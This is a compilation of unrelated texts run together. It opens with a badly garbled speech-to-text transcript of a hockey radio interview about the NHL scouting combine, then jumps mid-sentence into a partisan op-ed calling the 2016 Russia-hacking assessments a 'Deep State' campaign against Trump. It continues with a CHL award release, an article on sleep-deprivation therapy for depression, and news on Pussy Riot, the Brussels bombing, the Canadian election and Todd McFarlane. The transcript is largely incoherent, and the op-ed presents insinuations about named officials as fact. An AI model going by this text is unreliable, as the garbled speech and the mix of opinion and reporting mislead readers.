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They play fast but you know it but it said it's kinda you allow a team to play fast so you know we know their B team they get here for reasons that have great players officials. There's times and so you know our focus needs to be on our game here in and then what makes us effective in what us got us here. Welcome back hockey hotline our number two Andrew Peters could aggravate lie from the NHL scouting com buying. Here at the harbor center joined by the head. Of NHL's central scouting team are tight and we are talking what we saw a crate and I saw you're the first person he's so locked him up top as you remember him. And he says all. Day from the it's also post quoting now. And this is your event so congratulations you're just telling us that this is 22 years but this of that here's specifically is kind of been tinkered a little bit weak but. Our aria are you like it. Off world La La were loving it entire. All the NHL personnel that we talked to all the GMs here I've. Time to vote eighteen of them. They'll like it here they don't want us to stay here. Masha the first year here news you know the opening of the harbor senator we got to understand the facility a little better and know what to do so. This year we tweeted to where. It's such a smooth full everybody's on time everybody knows where they need to be it's all under one roof it's terrific concept that works for our calm mind. Zoellick were were thrilled to be here. And every time you come to buffalo hospitality drove the city and with the savers a lot of tigris and parents to me is tremendous. Just quick note here Eric sweetest thing cliff ronning son is another. Player whose draft eligible this year how ironic so. He's another one to look out for but we are we've been talking a lot about different players in Buffalo's picking eight and don't we Craig playing defense we talk a lot about defenseman. And we just had Marty on news talk you Boca chuck and I Jacob checkered interviews. With the NHL teams and just how the rave reviews and you know just the fact that they are from NATO pedigree. How does that help but how does that help checkered whose stock is slip a little bit I guess over the year but in this top player like that. The scouts know. Tickets are not on the ice on he had a tremendous under each year that. You know influence where he was in the projections. In the rankings all the time. And then in the draft here not everything goes the way you want all the time there's a new coach new system. He played through injuries it a couple of illnesses are so. While in Maine out of seem that he was impact the game and stand you know like you have and is honored you're used to get the results there. So the team I think they've taken a step back. But at this point here they're gonna put everything together they've got the test team they've got the interviews. That the medical. Out of the way. The actually get to spend some time let them and this is where there's an on ice personality with players as you well. In an hour right here. And when you get to meet the players it's nice that that matches your perception of you know you have an idea who you're going to meet them throws you off when yeah. When there you know you gotta relief. Lot of exuberant. Passed on the guy's opinion meet someone very meek and mild off Acer and it throws you off a little bit. But oh overtimes goes over the 1718 this this this still what to do on the ice and in Jacob chipped and deliver so. I actually think in this case it helpful on. Again I mentioned nearly two weekends. And move on higher ranking it's our stuff was pretty adamant and it was a consensus that if predict in the order where these top 45 minute ago it's an impossible. But. We just stuck with it would object that we believe in his abilities to be an impact and it's so player down the road and and that's what the team's past muscle weakness. Put them in the range we don't have that of the order right but. We have him in the range that we think he's that the top of that clause. Greg survey Andrew Peters down live from the NHL scouting come by here at the harbors that are joined now with. Head of the NHL's central scouting department. Danny mar Greg and I were talking when we came and we are just looking around him watching some of the kids on the bike we were able C circuit chapel before we knew who he was. We're just sticking and we saw a choker from a distance and Craig's asking is that a strength conditioning coach who is is that an actual player these kids are. Huge. And yes I don't know like circuits that came over three weeks early from Russia we we it rebook their travel agents that can I bring him ovaries and a train with some of our guys in Michigan. And Jacob. But cern Gabi goes so he's venturing so the players that have an opportunity to train. We said that the protocols and advance they know it's all they know what to expect here. And like surrogate that he's actually gain that twelve pounds of muscle as you can see that he wasn't that big at the start of the year actually. I did the heights and weights at the start of the year with winter he didn't speak a lick of English. And now you know yet you talk to you think it's been a whole life here in North America but. You watch on the tests in their views while the ones where. He gave the maximum effort that's what they out from here and you you could see that had to take him over helpful hopeful recuperate there so the question for. You know you've been in this you've been in this game so long how much talk to the NHL teams put it this skill com buying. And in all the all the hitter views what. You know how much stock they put it. Well we got the common divided into three segments so actually the most part one is the medical's. We in the medical screen. And the medical screen number one is to clear them to do the testing here and the other parties to make sure that there 100% healthy. Then you have the interviews and then we have the fitness tests and so the interviews that are there are important for the teams but history. And mine's history and experience referring to mistakes are made by putting too much. Late you have. You have your list in mind you know we're focused on the and you shouldn't really sway you too far or it may help you determine the order that you want to put the men. But it shouldn't sway you awful player. So you can use and phone while the player from owners also shouldn't down a player from an. In the fitness testing we stresses that the players all the time it's the very first and in our protocols and this is not a competition. Image has seventeen and eighteen drove the automatically. Whats your score you know what he'd do it here that they they they they get focused on the scores. That is the purpose of the test in hears it if it is these are almost straight coached here in Washington and some some. Is it they wanna know where the players in his athletic development on this date. Because they have to put a profile together. From all the test results and these tests. Three years ago and I started they want me to do a review of everything. So we got the strength coaches together at different committees formed so we went through. And we say what tests you really need to find of the information. To give to your management team pertain to players for the draft and there is we thirteen stations we've got to down to eight because I even I can tell you seventeen and 1890% of the mean upper body strength. Why do we have to do five for body testicles are Dino. And they agreed but they've never not known it really got together so. Last year toy fifteen with the move here we introduced all we updated. The test and we introduce more modern equipment. We've got a two way the strength coaches want the testing so. This gives them a profile of the player. They can. This force plea for example it. They've developed a program where they can correlated directly to the skating. And then there's different phases force plea measurements that they take words related to acceleration. To hang time which is here getting to top speed. And then I'll slow. Your poll ways via aphorism. I've gone through it with a couple of teams where. I would just go over the strength coach Herrmann have L player I would say OK I know he's slow off the mark I know he needs of takes a little too long to get a top speed but at top speed he's really good and regular kind of spark him because they pulled the results when they drafted them. I was there camp July the force they wish annoyed that but then they've been working with them enough for a year and half. And you could see where those lines were changed is the use it to develop the program specific to that player and that's what's so important nowadays so. They're using this they they create a package. When they get the play their party ahead of the game they know what they need to have focused on for the summer for them go to com mind is actually just guidelines for teams to understand where players are. And where they would like to be it seniors to come. And there's there are certain to gauge there are cases though where the votes in the you know. I can't we can't pass thirty pounds on this. So Leo like Doug Gilmour. It wasn't going to be any oil will 170 pound away that's it in a pack the way to go but you know obviously the skills politics. They expect. But they can tell you that you know. He has the body type the most is through the results are I don't know we can make any faster. But we can work Albert who built them keep up on the play in all depends on you know the skill set of the players as well so it's a it's a complicated. Package but when you know all the components to it there that's what the Scopes in the mansion where they have to arrive at their decision. That's why Purdue radio area. They're just they are so complicated about this you're just Judy you know hockey I had Edgar Peters Gregory joined right now by head of NHL central scouting. Director. Any mark. We know we got to go and and and thank you so much for your time but I I got a couple couple things the last. When you and I had dinner after a game and martial law. Camp from where we went into the old yet slam already you told me a start. I don't know what happened in the eater your way set you to hold me a story and there's a player that works here now at the academy hockey meet Ethan Moreau. And he told the story. About how I can I was so nervous and I and I just was asking about. Me because I knew he think he played at my brother in new ones seen your that he played at my brother and I was asking about all these guys different personalities and and every told me he said. Ethan Moreau sat down for dinner. And took his four front teeth out put it on the side this strikes the. Nearly a seventeen year old kitty head coach hopes that. If you're. And I'm like there's all these I remember guys all the time they remember more than I do unfortunately I've done too many of them that. Yeah but still. Go to the getaway that's a good way actually it's a good icebreaker for conversation he'd do I have no idea what you said about what I need to work on but I can't. That I do that either borrow. What did you keep on his side so that the port. The DM import stuff. Any any surprises I guess quickly before we let you or are there any surprises here to come by and from. The stamp what one player wanna ask you about quickly quickly quickly sorry I got to find no I don't wanna butchers name ever a lot of great things about this case your device. Heard a lot of amazing things played on a bad team but just the ultimate competitor. Giovanni is if we had pick a player it was most improved in the second half of survived. And he took his game to the next level place in the team went through some adversity coaching change there but he really picked his game up but. He shows up every shift he is a 100% every shift he's big he can skate any strong. You know the skills I think he's not a guy and years to plan your top two lines |
wanted to help Trump.
Indeed, at the time, a news consumer couldn’t be sure what the news was actually supposed to be. Here’s The Washington Post on December 10: “FBI and CIA give differing accounts to lawmakers on Russia’s motives in 2016 hacks.” The Post story cited one insider indicating that on the issue of Russian culpability, “the bureau and the agency weren’t on the same page.” So the FBI and CIA have different views? Whom to believe?
To help the Beltway answer that question, the remnant of the Clinton campaign—still perhaps, keeping hope of victory alive—rushed in to clear up any confusion (that is, any confusion that was not to its partisan advantage). On December 15, Hillary’s campaign chairman, John Podesta, wrote a Washington Post op-ed in which he spanked the FBI and demanded a special Congressional investigation:
The more we learn about the Russian plot to sabotage Hillary Clinton’s campaign and elect Donald Trump, and the failure of the FBI to adequately respond, the more shocking it gets.... Congress should more vigorously exercise its oversight to determine why the FBI responded overzealously in the Clinton [e-mail server] case and insufficiently in the Russian case. The FBI should also clarify whether there is an ongoing investigation into Trump, his associates and their ties to Russia.... What’s broken in the FBI must be fixed and quickly.
Podesta’s op-ed, complete with its sly insinuation that surely the FBI is currently investigating the Trump campaign, hit its intended target with full force; after all, FBI Director James Comey has to eat lunch in this town. And so Comey’s FBI dutifully climbed aboard the Deep State bandwagon. Hence this December 16 headline in Politico, “FBI backs CIA findings that Russia tried to help Trump win election.” As Politico put it:
FBI Director James Comey now concurs in a CIA assessment that Russian hackers meddled in the U.S. presidential election to sway the race toward President-elect Donald Trump.
If the reader is starting to get the feeling that the Official Truth is something to be endlessly negotiated and wrangled—as opposed to firmly and finally decided—well, welcome to Deep State internal politics. That’s how the game is played, from R Street to Rosslyn, from Reston to Rockville.
As they say in DC, Where you stand depends on where you sit. And so, if you are part of the Deep State and wish to remain such, you’d better get with the Deep State program. After all, presidents come and go, but the Deep State is forever.
In the meantime, when specific facts are few, or even non-existent, then opinions—especially intense opinions—must inevitably loom all the larger. And it’s the intense opinion of the Deep State that Trump shouldn’t be president, or at least not a successful president.
Yet now we come to a heretofore unresolved question: If there was so much antipathy toward Trump, why didn’t all these accusations of Putin-Trump collaboration come out before the election, when the Russians-are-coming charge might have cost the real-estate mogul a state or two, or three?
Yes, that is indeed a puzzlement. But then on December 16, thanks to NBC News, came the answer: The Obama administration/Deep State didn’t get fully vocal before the election because they all thought that Hillary Clinton was going to win. Oops.
And given that misguided confidence, the silence was understandable. After all, leading pillars of the Deep State had predicated their policies, and their personal prestige, on the idea that Russia was not a problem, or at least not a big problem—and who in power wants to be proven wrong and thus look dumb?
Indeed, we all remember that President Obama had slapped down Mitt Romney in 2012 for being a hawk on Russia. In addition, Secretary of State John Kerry had intoned, dozens of times, that “climate change” was the greatest danger America faced. And United Nations Ambassador Samantha Power was insisting that the proper prime concern was humanitarian crises in such places as Darfur, Myanmar, South Sudan, and Syria.
So as we can see, none of these figures wanted Russia to surge back into the news in an embarrassing way. Thus the predominant thinking was, Let’s just keep this Russia business, whatever it is, quiet until Trump is defeated. Then, President Clinton 45 can sort it all out.
Yet there were some problems with this approach. To name one such, according to the Constitution, the Legislative branch is equal to the Executive branch, and so it deserves to be treated equally. And that means shared decisionmaking—and so the Obama administration had no right to do what it did, which was to keep Capitol Hill out of the loop. That is, if the administration had real evidence about the Russians, it had an obligation to share it with, at minimum, the House and Senate committees of jurisdiction. That’s how our national government is supposed to operate.
And yet that sharing of information didn’t happen. And why not? Most likely, because the Congressional leadership is Republican, and the Obamans, joined by the vast bulk of the Deep State, are Democrats (plus, of course, the usual-suspect contingent of NeverTrump “Republicans”).
You see, the hope was that Hillary would win the White House and perhaps, too, that the Democrats would win back the Senate, maybe even the House. And at that point, with the temporary blip of Republican power in the rearview mirror, the Democrats and the Deep State—the two are often hard to distinguish—could carry on their business as usual.
But then, on November 8, came the unforeseen calamity: The Republicans won everything.
So now the GOP is finally seeking to impose its authority on Deep State dead-enders. In the dry words of Rep. Devin Nunes (R-CA), the chairman of the House Intelligence Committee, “We want to clarify press reports that the CIA has a new assessment that it has not shared with us.” And Sen. Ron Johnson, chairman of the Senate Homeland Security Committee, recalling that his panel had also asked for a CIA briefing but had been refused, was even more caustic:
It is disappointing that the CIA would provide information on this issue to The Washington Post and NBC but will not provide information to elected members of Congress.
Indeed, the clandestine whispering campaign was intolerable to the always to-the-point Rep. Peter King (R-NY). And so King was willing to name names on ABC News’ This Week:
What infuriates me about this, Martha [Raddatz], is that we have John Brennan––supposedly John Brennan––leaking to The Washington Post, to a biased newspaper like The New York Times, findings and conclusions that he’s not telling the intelligence committee.... There should be an investigation of what the Russians did but also an investigation of John Brennan and the hit job he seems to be orchestrating against the president-elect.
There. King called out John Brennan, the long-time Obama administration hireling, currently the director of the CIA. Yes, the list of possible leakers should include Brennan, but should not be limited to him.
Meanwhile, the White House itself has been throwing logs on the fire. On December 15, White House spokesman Josh Earnest escalated the post-election attack, declaring that it was “obvious” that Russia had been interfering to help Trump. (Once again, if it was so obvious, why did the White House wait until after the election? Might it also be obvious that the Obamans had mixed feelings, deep down, about Hillary winning?)
Yet in the meantime, of course, Obama is still president, not inclined to cooperate with the GOP—and still possessed of the bully pulpit. And so he knew that he was escalating the Deep State’s war against Trump on December 16 when he declared, “We have said, and I will confirm, that this happened at the highest levels of the Russian government.”
Thus the accusation that the Russians elected Trump, or tried to, is out there, on the record. In other words, the Deep State needs no longer to skulk around beneath the surface of the dark water: It can now rise out of the briny depths into broad daylight with its angry calls for investigation, impeachment, indictment—anything it wishes. After all, if the great helmsman, Barack Obama, has said it in public, then it must be true!
Moreover, the 44th president won’t be going far. Come January, he’ll be moving just a mile or so uptown, to the swanky Kalorama neighborhood, where, it’s a safe bet, he’ll hold court as if he were still president. So the Deep State will still have a rallying point as it plots its next move against the Dreaded Trump. Or should we say, it will have another rallying point, because, in fact, it already has plenty.
The bitter election is over, dear reader, but the real storm is still to come.-- Article courtesy of the CHL.
Toronto, ON – The Canadian Hockey League today announced that Winnipeg Jets prospect Nikolaj Ehlers is the CHL Player of the Week for the week ending March 8 after recording 12 points in three games scoring five goals and seven assists with a plus-minus rating of plus-8.
Ehlers earns the award for the second time this season after collecting a trio of multi-point performances for the Mooseheads who have clinched a playoff berth in the QMJHL standings. Last Wednesday night, Ehlers earned first star honours producing his third five-point performance of the season netting a goal and four assists in a 7-4 win over the Acadie-Bathurst Titan. On Friday night he earned second star honours with a goal and two assists despite a 6-5 loss to the Charlottetown Islanders, then finished the week with second star honours once more with four points including his fourth hat-trick of the season in a 5-4 loss to the Cape Breton Screaming Eagles.
Ehlers, a 19-year-old from Aalborg, Denmark, is playing in his second QMJHL season. The reigning CHL Rookie of the Year was selected ninth overall by the Jets in the 2014 NHL Draft and currently ranks fourth in QMJHL scoring with 94 points including 35 goals and 59 assists in just 46 games. Ehlers also holds the league’s longest point-streak of the season at 33 games from October 29 to February 26.
Also considered for the award this week was rookie Alex DeBrincat of the Erie Otters with nine points in three games including three goals and six assists, and Peter Quenneville of the Brandon Wheat Kings who also recorded nine points in three games scoring six goals with three assists.“You've got to be kidding me, Doc. I can barely keep my eyes open as it is, and you want me to pull an all-nighter?”
I smiled. “Yes, exactly that. Maybe even two or three.”
It started out benignly enough. Jodi (not the patient's real name) had been feeling more stressed between meeting the growing demands of her high-stakes job in business management and shouldering more chores while her husband was away on business trips. Strapped for time, she started neglecting her usual self-care routines—eating healthy, exercising, taking time to relax. Not surprisingly, her mood was poor.
Things soon grew worse. She no longer enjoyed activities that were usually the highlight of her day: story time with her children, chatting on the phone with her mom, reading a book. Although she was constantly exhausted, she could not get a good night's sleep; she would toss and turn and still feel tired even when she slept in. Her performance at work had also been suffering; she began missing days because she just couldn't get out of bed.
Jodi knows she should have recognized these warning signs sooner. She had experienced major depression twice before, once in college and again in her late 20s after a breakup. Now in her late 30s, she had been off antidepressants for years. Yet she found herself back in that dark place, barely eating and unable to concentrate enough to read even a short paragraph. Her thoughts circled around the same unpleasant memories and nagging fears. She felt hopeless and guilty.
When she came to see me, I confirmed what Jodi already suspected: she had relapsed into a major depressive episode. Thankfully, she was not having thoughts of hurting herself, and because she had good support from her family and friends, she would not need to be hospitalized. I recommended that she start on an antidepressant immediately. Jodi agreed but was disappointed to learn it might be anywhere from four to six weeks before her medication took effect. She had already fallen behind on work, the holidays were coming up, and she did not want to put her life on hold for this depression any longer. “Isn't there something that will work faster?” she lamented.
“Well, there is one strategy we could try,” I said. “How do you feel about skipping a few nights of sleep?”
Jodi's jaw dropped. “You've got to be kidding me, Doc. I can barely keep my eyes open as it is, and you want me to pull an all-nighter?”
I smiled. “Yes, exactly that. Maybe even two or three.”
Standard antidepressant therapies are often effective in treating depression, but it takes time for them to work. In recent years research has focused on trying to find treatments that could improve symptoms within days as opposed to weeks. Although it seems counterintuitive, an old and often forgotten approach to improving mood rapidly involves short-term sleep deprivation. As a 2015 review in Current Psychiatry Reports noted, therapies that manipulate sleep can significantly improve depressive symptoms. The treatment is not for everyone—elderly patients and those with cognitive impairment, for instance, would not be good candidates—nor should people try it without a clinician's guidance. Still, it can help bring relief before medication kicks in.
Sleep issues are a core symptom of depression. They exacerbate fatigue and cognitive deficits, which are also core symptoms, making daily functioning even more challenging. People often cope by taking daytime naps, which makes falling asleep at night difficult, feeding the cycle of sleep dysregulation. These observations have led many researchers to ask what the connection between sleep and mood is and what biological determinants underlie this relation.
Credit: KAROLIS STRAUTNIEKAS
All creatures sleep—or at least exhibit a circadian rhythm based on the earth's light-dark cycle. In animals, populations of nerve cells have rhythmic activity thought to be the basis of an internally generated timekeeper. This master clock can be found in the brain's suprachiasmatic nucleus. If this area is damaged, daily bodily rhythms become erratic. Research has also shown that genetic regulation of circadian rhythms is off-kilter in people with major depression.
Circadian-sensitive circuits are influenced by external cues, the most important being sunlight. They receive information about the timing and duration of sunlight from the eye: a special subset of cells in the retina, found at the back of the eyeball, transmits this information, even in people who are blind.
Many of us have experienced the power of circadian misalignment when traveling to another time zone. The mismatch between the environmental light-dark cycle and that of our neural circadian pacemakers is more commonly referred to as jet lag. (We undergo this experience to a lesser degree twice a year during daylight saving time switches.) It can take several days for neural circuits to become entrained to the new light-dark schedule, but in the interim, sleep is disrupted, appetite does not match up with mealtimes and our state of mind can suffer.
But could adjusting these cycles reset our mood and, in turn, address mood disorders? In fact, it has been known for 200 years that sleep deprivation can treat depression rapidly. (In 1818 German psychiatrist Johann Christian August Heinroth described the therapy in his Textbook of Disturbances of Mental Life.) Since the 1960s numerous clinical studies have shown that as little as one night of sleep deprivation can relieve symptoms, and a 2015 paper reported swift improvement in 50 to 80 percent of subjects.
Sleep is generally thought to be a mood-stabilizing force. It is certainly one of the first symptoms targeted by clinicians, usually with medications, to help patients feel better. Furthermore, studies have shown that sleep deprivation has an effect on neurotransmitter activity throughout the brain, just like some medications. In 2015 scientists at the University Medical Center Freiburg in Germany, the University of Bonn in Germany, the University of Naples Federico II in Italy and the National Institutes of Health discovered that the effects of sleep deprivation, tricyclic antidepressants and ketamine on mood may all rely on the same molecular target, a receptor in the brain's frontal lobes whose activity may ultimately influence brain connectivity related to mood regulation.
Unfortunately, the gains made by sleep-deprivation therapy alone are not long-lasting. Typically depressive symptoms return within one week, which still leaves four to six weeks before antidepressants can kick in.
There may, however, be a way to maintain this therapy's benefits using the ultimate circadian rhythm calibrator: sunlight. In one of the earliest studies combining sleep and full-spectrum light therapies, psychiatrists at the University of Vienna asked 20 patients with depressive symptoms who had undergone sleep deprivation to take an antidepressant medication in conjunction with either dim or bright light exposure. Their findings, published in 1996, showed that among those patients who responded well to sleep deprivation, receiving daily bright light maintained the antidepressant effect of that limited sleep during a trial period of seven days.
My colleagues and I are now investigating whether this benefit can be maintained even longer. Thus, I offered Jodi the opportunity to participate in a new study of “wake therapy,” which combines sleep deprivation, timed sleep (that is, following a schedule in which sleep time shifts over a number of days) and light therapy. She was hesitant—but then again, she was already sleeping poorly, so what did she have to lose?
To avoid workplace fatigue, Jodi started the treatment that weekend. Adhering to a schedule we had tailored for her, she went through a period of prolonged wakefulness, an “all-nighter.” After that point, she followed a prescribed routine of specific bed and wake times to shift her sleeping cycle. She also sat in front of a full-spectrum light box at breakfast every morning.
When I saw Jodi the next week, she reported that although staying up had been tough, she had noticed a significant improvement in her symptoms. She no longer felt depressed, was able to go back to work and was handling the stresses of everyday life more successfully. We continued to work together, and within a few weeks, with the help of medications, wake therapy and psychotherapy, Jodi was herself again—just in time for the holidays.Pussy Riot's Alyokhina to stay in jail despite child's age - appeals court
© RIA Novosti, Pavel Lysitsin
12:15 04/03/2013
PERM, March 4 - RAPSI. The Perm Territory Court has dismissed Pussy Riot member Maria Alyokhina's appeal against the Berezniki City Court's decision to reject her deferment plea, the court spokesperson told RIA Novosti on Monday.
The Berezniki court concluded in mid January that the fact that Alyokhina has a small child had been taken into account by the Khamovniki District Court in Moscow which passed the original verdict on the three members of the Pussy Riot punk group last August, and that no new arguments had been provided to justify the mitigation of her punishment.
Alyokhina and her lawyers also appealed to the Berezniki court to invalidate the four penalties levied on her in prison, in particular for violating the prison routine.
The court invalidated two of the penalties, one for getting up late and the other for uncivil behavior towards a prison employee, and upheld the other two penalties, one for getting up late and the other for handing private correspondence over to a lawyer.
Alyokhina was placed in solitary confinement in November 2012 upon her own request after she complained that she had problems with her cellmates. She will remain in solitary confinement for three more months for safety reasons.
In late February 2012, five young women wearing brightly colored balaclavas staged a "punk-style" prayer at Moscow's Christ the Savior Cathedral. An edited video of their performance was posted on the Internet and caused a public outcry.
Pussy Riot members Nadezhda Tolokonnikova, Alyokhina and Yekaterina Samutsevich were arrested shortly thereafter. On August 17, 2012, the Khamovniki District Court sentenced them to two years in a prison settlement for disorderly conduct.
On October 10, 2012, the Moscow City Court changed Samutsevich's verdict to a suspended sentence and released her immediately, based on her new attorneys' argument that she was seized by security guards prior to reaching the altar and therefore did not actually take part in the punk prayer performance.
Alyokhina and Tolokonnikova's sentences were upheld.Breaking News Emails Get breaking news alerts and special reports. The news and stories that matter, delivered weekday mornings.
March 22, 2016, 4:07 PM GMT / Updated March 23, 2016, 9:31 AM GMT By Jim Miklaszewski, Jacquellena Carrero, Corky Siemaszko and Lauren Prince
They had just dropped off a fellow missionary at the Brussels Airport on Tuesday when an explosion ripped through the building.
In a sickening flash, three Mormon missionaries were badly hurt in the latest terror attack to hit Europe — a deadly attack that killed at least 31 and injured more than 200.
The three missionaries — all from Utah — were identified by the Church of Jesus Christ of Latter-day Saints as Elder Richard Norby, 66, of Lehi; Elder Joseph Empey, 20, of Santa Clara; and Elder Mason Wells, 19, of Sandy.
The fourth missionary, Sister Fanny Rachel Clain, 20, of Montélimar, France, was also hospitalized with what the church described as "minor injuries."
"He had only been in Brussels for six weeks," Wells' weeping mother, Kymberley Wells, told NBC News. "We found out when we were called early this morning. We don’t know enough about his injuries yet."
In a later statement, the worried mom said Wells was undergoing an operation to repair damage to his foot.
This was not Wells' first brush with terror. He was in Boston to watch his mother run the marathon in 2013 when two Chechen immigrant brothers set off shrapnel-filled bombs that killed three and wounded scores more, his family said.
Wells was also in Paris this past November when the French capital was attacked by Belgium-based terrorists, the family said.
Empey's mother was relieved after she was able to speak with her son. "He is doing great," Amber Empey said.
The young missionary underwent surgery for shrapnel wounds to his legs and was treated for second degree burns to his hands, face and head, the Empey family said in a statement.
Wounded in the leg, Norby was able to call his wife in Brussels and let her know he was alive, his son-in-law told NBC News.
Three Mormon missionaries were seriously injured at the Brussels Airport attack on March 22. From left to right, Elder Joseph Empey (20), Elder Mason Wells (19), Elder Richard Norby (66), pictured with wife. Mission President Frederic J. Babin said that three of the missionaries were in the proximity of the explosion when it occurred and have been hospitalized, according to The Church of Jesus Christ of Latter-day Saints. LDS Public Affairs
"She spoke to him once at the airport and he told her that he was hurt," Brian Allred told NBC. "His wife was on a mission with him but was attending to other things at the time."
The Norby family later said that Richard Norby, a missionary in Paris, suffered shrapnel wounds and second-degree burns in the blast. He underwent surgery and was placed in a medically-induced coma, where he is expected to remain for the next several days, and the family expects a "lengthy recovery."
"As his family, we wish to express our deep appreciation to his caring and competent medical staff and to all those who have expressed well-wishes and prayers on his behalf," the Norby family said in a statement.
"Our prayers go out to all those who were affected by this terrible tragedy and wish for the speedy recovery of all the wounded bystanders," the family said.
The trio were at Zaventem Airport escorting Clain, who was heading to a missionary assignment in Ohio and had already passed through airport security when the blast went off.
“Our prayers are with the families of the deceased and injured, including three of our missionaries who were injured and hospitalized,” the church statement said. “We also pray for the people of Belgium and France as they continue to deal with the uncertainty and devastation caused by the recent terrorist attacks.”
Also injured in the airport bombing was Brazilian-Belgian basketball player Seb Bellin, who had previously played hoops for Oakland University in Rochester Hills, Michigan, his team BC Telenet Oostende reported.
"Bellin played for us around the year 2000," university spokesman Brian Bierley told NBC News. "He stayed in touch with the program and has helped some of our former players get careers in Europe. He is from Belgium originally. I think he was being dropped off to the airport and was coming back to visit our coach on Friday when the bombing happened.”
Brazilian-Belgian Basketball player Sebastien Bellin, who formerly played for the Belgian national basketball team, lies wounded on the floor of the Brussels Airport, Belgium, after explosions ripped through the departure hall on March 22, 2016. Ketevan Kardava / Georgian Public Broadcaster via AP
Texas-born Brad Waldow, who plays basketball in Belgium for the Port of Antwerp Giants, said he was was waiting in the terminal with a teammate for their flight to Italy when he got a "gut feeling" to get out of the area.
"He wanted food," Waldow told NBC News. "I had this gut feeling and I said, 'Let's got to our gate. I have a bad vibe. It just doesn't feel right out here'."
Five minutes later, Waldow said, he heard blasts and screaming.
"That's when everyone started running toward the back of the airport," he said. "Everyone was on their own trying to get out safely."
Waldow said as he fled he called him mother to let her know he was getting out of the airport.
"She said, 'Let me stay on the phone with you'," he said. "I said, 'Mom, if something happens I can't let you hear it. I can't put you through that'."
Meanwhile, the U.S. Air Force confirmed that a member of the Joint Force Command in Brunssum, the Netherlands, was injured along with several members of his family.
Officials did not release their names or conditions. But one U.S. military official told NBC News their injuries are not believed to be life-threatening.
In addition, a trio of Quinnipiac University students who were in the terminal at the time of the explosion were safe at the U.S. Embassy in Brussels, officials said.In the rising Liberal tide that swept across Canada on election Monday, a mere 24 of the 169 ridings that changed hands didn't go Liberal.
Crunching the numbers for those ridings does have something to say about the overall result, but the big story of election night — the Liberal tide — was certainly a key influence on the outcome in those 24 ridings
Quebec accounts for 16 of the 24 ridings that switched hands and didn't go Liberal. B.C. has five and Ontario, Manitoba and Saskatchewan have one each.
The eight ridings outside Quebec are all former Conservative seats that the NDP won on Monday night, the only gains for the NDP.
The numbers in this story use the redistributed numbers from 2011, so that the results match the new riding boundaries. If there was a byelection since 2011, that result counts in the number of gains, though.
The combined effect of redistribution and byelections put the number of seats the Liberals retained at 39, while they won 34 in the 2011 general election. The Liberals held on to all the seats they won in 2011 and increased their seats by a net two through byelections.
Liberal Party leader Justin Trudeau kisses his wife Sophie Gregoire before his victory speech on Oct. 19. (Chris Wattie/Reuters)
NDP takes 8 Conservative seats
The NDP's vote went down in most provinces, but not in the North, P.E.I. or B.C.
While the Liberals swept the Atlantic and the North, four parties won seats in B.C. However, the NDP vote in B.C. only went up by fewer than a 1,000 votes (their share was down seven points), based on Elections Canada's preliminary numbers.
Turnout in B.C. was 70.4 per cent according to Elections Canada, up 10 points from 2011.
But Conservative support went down by about 150,000 votes in B.C., a significant drop: Overall they lost only 235,000 votes across Canada.
In those eight new NDP seats, the Conservative vote and share of the vote went down in all eight.
In seven of those ridings the share of the vote for the NDP also went down, but the number of votes increased in seven of them.
The one riding of the eight where the NDP vote number decreased was Elmwood-Transcona in Winnipeg, which was also the closest race of the 338 ridings up for grabs on Monday.
New Democrat Daniel Blaikie won by 61 votes in the now validated count.
Compared to 2011, the turnout for this election was up across Canada, and by 13 points in Alberta. Calgary voters line up outside a polling station on Oct. 19. (Monty Kruger/CBC)
A lesson here is: had the Liberal tide been stronger in these ridings, and more voters moved from NDP to Liberal, it's possible the Conservatives would have held onto those seats.
A big part of the story for those eight ridings switching hands was the increase in Liberal support. While the Liberals didn't win these races, their share of popular vote went up by between 15 to 30 points in all but one of these eight ridings.
The exception was the rural area around Windsor, Ont, Essex riding. The Liberal share rose by only seven points, their total vote by 5,478. Essex was the one riding of the eight new NDP ridings where the NDP's share didn't drop.
(On mobile? View the full map of B.C. results here.)
Mostly gains for the BQ
The Bloc Québécois went from winning four seats in the 2011 election to 10 seats this time, but they did so with about 73,000 fewer votes, based on preliminary numbers. Their share of the popular vote fell from 23 per cent to 19 percent.
The BQ only held on to one of the seats it won in 2011, losing one to the Conservatives and two to the Liberals. But they won nine seats that had been part of the NDP's orange wave in 2011.
In eight of these nine ridings, both the number of BQ votes and its share of the vote went up, breaking with the Quebec-wide trend. The exception was Pierre-Boucher—Les Patriotes—Verchères on the South Shore, across from the Island of Montreal.
The NDP vote went way down in Quebec, by about 560,000 votes, and the pattern was the same in the 16 Quebec seats that went to the Conservatives or BQ.
In the nine ridings it lost to the BQ, the New Democrats' share of the popular vote fell by between 21 and 29 points.
In eight of these nine ridings, the Conservative vote went up as well. In the one, Manicouagan, that shows a smaller Tory vote than in 2011, the Conservative candidate received just 185 fewer votes than before, finishing fourth.
The BQ may have the Liberals and the Conservatives to thank, more than themselves, for those nine seats it gained, seats where those two parties appear to have shaken loose more votes, in a losing cause, from the NDP, than the BQ vote count went up.
(On mobile? View the map of Quebec results here.)
Conservatives take 6 NDP seats in Quebec
The NDP also lost six seats to the Conservatives in Quebec. In those six, BQ support was down, the same for the NDP.
But in five of the six, Conservative vote numbers as well as its share of the vote were up, so the party can take more credit for their wins.
In the one exception, a close race in Montmagny–L'Islet–Kamouraska–Rivière-du-Loup, NDP losses were significantly smaller than in the other ridings, but the Liberal tide probably still influenced the outcome.
Overall, the Conservatives received 80,000 more votes in Quebec than they did in 2011.
In the one seat that the Conservatives won from the BQ, Richmond–Arthabaska, Conservative support was also up, BQ support was down and the drop in NDP support was the smallest of all the 16 Quebec ridings in this story.
Total surprise
Even though the Liberals didn't win any of these seats, when compared to their performance in 2011, their total vote numbers are surprising.
Their combined share of the popular vote in the 24 ridings went from seven per cent to 26 per cent and the Liberal tide was strong enough to lift them to second place in 13 of the 24 ridings.
In 2011, the Liberal Party finished fourth in 17 ridings and third in the other seven.
Adding together these 24 ridings, hostile territory for Liberals in 2011, saw them make huge gains in the their vote numbers and share. And those gains appear to come mostly from new voters, reflecting the national pattern. In the 24 ridings combined, the NDP's share of the vote was down 16 per cent, with the other parties recording little change.Growing up, Todd McFarlane was one of my favorite comic book artists. It was bliss when he formed Image and took all of the best in the industry under one umbrella. Then, he created an action figure line to create high quality toys based on his “Spawn” comics, which segued into his Movie Maniacs line that paved the way for NECA’s world domination.
But with all of the money and various business ventures, time has thinned out for the artistic visionary. Everything was delayed, for many years, and a lot of projects never even came into fruition. It’s nice to know that McFarlane cares enough to keep his fingers prints all over his work, which is why hearing about a new Spawn feature for the better part of a decade isn’t annoying.
